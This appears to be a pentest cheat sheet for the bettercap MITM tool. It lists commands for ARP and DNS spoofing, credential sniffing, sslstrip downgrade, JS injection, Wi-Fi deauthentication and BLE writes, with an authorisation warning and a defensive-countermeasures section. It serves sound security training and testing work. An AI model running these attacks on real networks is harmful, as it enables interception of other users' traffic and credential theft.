| Field | Detail |
|---|---|
| Summary | On-path/MITM attacks — ARP/DNS spoofing, sniffing, Wi-Fi/BLE |
| Category | Network attacks & MITM |
| Phase | recon, exploitation, post-exploitation |
| Interface | CLI (interactive) + web UI |
| Platform | Linux |
| Licence | Open source (GPL) |
| Docs | https://www.bettercap.org/ |
| Related | Wireshark and tcpdump, Responder and relay basics, Aircrack-ng, Bluetooth and SDR wireless |
Modular "Swiss-army knife" for network attacks: host discovery, ARP/DNS spoofing, traffic sniffing, HTTP(S) manipulation, plus Wi-Fi and BLE modules. One interactive console drives everything; the "caplet" scripting and web UI make it repeatable.
⛔ Danger — Active man-in-the-middle — high impact ARP/DNS spoofing redirects other hosts' traffic through you and can disrupt the segment or break connectivity. This is active, intrusive, and in some places unlawful without authorisation. In-scope engagements only, on networks you're permitted to attack, and tell the client — it affects live users.
Launch
sudo bettercap -iface eth0 # interactive session on an interface
sudo bettercap -iface eth0 -eval "net.probe on" # run a command on start
sudo bettercap -caplet http-ui # start the web UI (browser dashboard)
Modules are toggled on/off; set options with set <module>.<opt> <val>. help lists modules, help <module> details one.
Discovery
net.probe on # actively probe the subnet to populate the host list
net.recon on # passively watch ARP to learn hosts
net.show # table of discovered hosts (IP/MAC/vendor)
net.sniff on # sniff traffic, surface creds/URLs/hosts
ARP spoofing + sniffing (the classic MITM)
set arp.spoof.targets 10.10.10.5 # victim(s); omit to target the whole subnet
set arp.spoof.fullduplex true # also poison the gateway
arp.spoof on # become the man-in-the-middle
net.sniff on # capture the redirected traffic
Cleartext creds/tokens surface in the sniffer; for deeper analysis also capture to pcap and open in Wireshark and tcpdump.
DNS spoofing
set dns.spoof.domains example.com,*.example.com
set dns.spoof.address 10.10.10.8 # where victims resolve to
dns.spoof on
HTTP(S) proxy & manipulation
set http.proxy.sslstrip true # attempt to downgrade HTTPS→HTTP (modern HSTS resists)
http.proxy on
https.proxy on
# JS/script injection and parsing via caplets / proxy modules
ℹ️ Note — HSTS/TLS limits sslstrip Modern sites with HSTS and browsers' HTTPS-first behaviour largely defeat downgrade attacks — demonstrate the technique, but don't expect it to beat a hardened target.
Caplets & web UI
caplets.update # fetch the community caplet library
sudo bettercap -caplet http-ui # dashboard at http://127.0.0.1 (default creds — change them)
Caplets (.cap) are scripts of console commands — your repeatable attack playbooks (e.g. net.probe on; set arp.spoof.targets ...; arp.spoof on; net.sniff on).
Wi-Fi & BLE modules
wifi.recon on ; wifi.show # 802.11 recon (needs a monitor-capable adapter)
wifi.deauth <BSSID> # deauth (see Aircrack-ng sheet caveats)
ble.recon on ; ble.show # enumerate BLE devices
ble.enum <MAC> # read a device's GATT services/characteristics
For deeper wireless work see Aircrack-ng (Wi-Fi) and Bluetooth and SDR wireless (BLE/RF).
Defensive angle (be able to explain)
- Dynamic ARP Inspection (DAI) + DHCP snooping on switches kills ARP spoofing.
- Port security, 802.1X network access control.
- HSTS preload, TLS everywhere, DNSSEC defeat sslstrip/DNS spoofing.
- Monitor for duplicate-MAC / gratuitous-ARP anomalies (an IDS or arpwatch).
More modules & options
sudo bettercap -iface eth0 -caplet myattack.cap # run a scripted caplet on start
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 10.0.0.5; arp.spoof on; net.sniff on"
| In-console command | Purpose |
|---|---|
ticker on + set ticker.commands "clear; net.show" |
Auto-refreshing live view |
events.stream on / events.clear |
Watch / clear the event log |
set net.sniff.regexp <re> |
Only surface packets matching a regex |
set net.sniff.output cap.pcap |
Write sniffed traffic to a pcap |
set http.proxy.script hook.js ; http.proxy on |
Inject/modify requests via a JS hook |
wifi.recon.channel 1,6,11 |
Lock Wi-Fi recon to channels |
wifi.assoc <BSSID> / wifi.deauth <BSSID> |
Associate / deauth |
ble.write <MAC> <UUID> <hex> |
Write a BLE characteristic |
caplets.show / caplets.update |
List / update the caplet library |
Kill-chain usage
Recon
net.probe on ; net.show # discover LAN hosts
Exploitation
set arp.spoof.targets <ip>; arp.spoof on; net.sniff on # MITM + sniff
Post-exploitation
# on-path: harvest credentials / inject into live sessions
Where it fits
The go-to for on-path (MITM) attacks once you're on a LAN segment — ARP/DNS spoofing, credential sniffing, and traffic manipulation. Complements Responder and relay basics (LLMNR/NBT-NS poisoning) for grabbing credentials, and feeds captured traffic to Wireshark and tcpdump for analysis.